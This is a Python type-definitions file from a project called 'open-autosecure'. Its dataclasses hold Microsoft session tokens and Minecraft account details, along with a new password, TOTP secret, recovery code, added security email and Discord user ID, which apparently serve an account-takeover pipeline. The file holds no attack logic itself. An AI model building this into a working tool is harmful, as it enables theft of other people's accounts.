sten.wtf / Unstable Instance

open-autosecure — Unstable Instance. May not even function properly but you are free to help improvise it.

secure/types.py

from dataclasses import dataclass, field
from typing import Any, Callable, Protocol


@dataclass
class MSSession:
    email: str
    http: Any
    access_token: str | None = None
    xsts_token: str | None = None
    user_hash: str | None = None
    apicanary: str | None = None
    extra: dict = field(default_factory=dict)


@dataclass
class ActionResult:
    name: str
    ok: bool
    detail: str = ""
    data: dict = field(default_factory=dict)


@dataclass
class PipelineContext:
    security_email: str | None
    imap: dict | None
    proxy: str | None
    log: Callable[[str], None]


class Action(Protocol):
    name: str

    async def run(self, session: MSSession, ctx: PipelineContext) -> ActionResult: ...


@dataclass
class SecureResult:
    method: str
    email: str
    authenticated: bool
    fail_reason: str | None
    actions: list[ActionResult]
    mc_username: str | None = None
    mc_uuid: str | None = None
    skin_url: str | None = None
    mc_capes: str | None = None
    mc_ownership: str | None = None
    mc_name_change_allowed: bool | None = None
    new_password: str | None = None
    new_totp_secret: str | None = None
    new_recovery_code: str | None = None
    added_security_email: str | None = None
    discord_user_id: int | None = None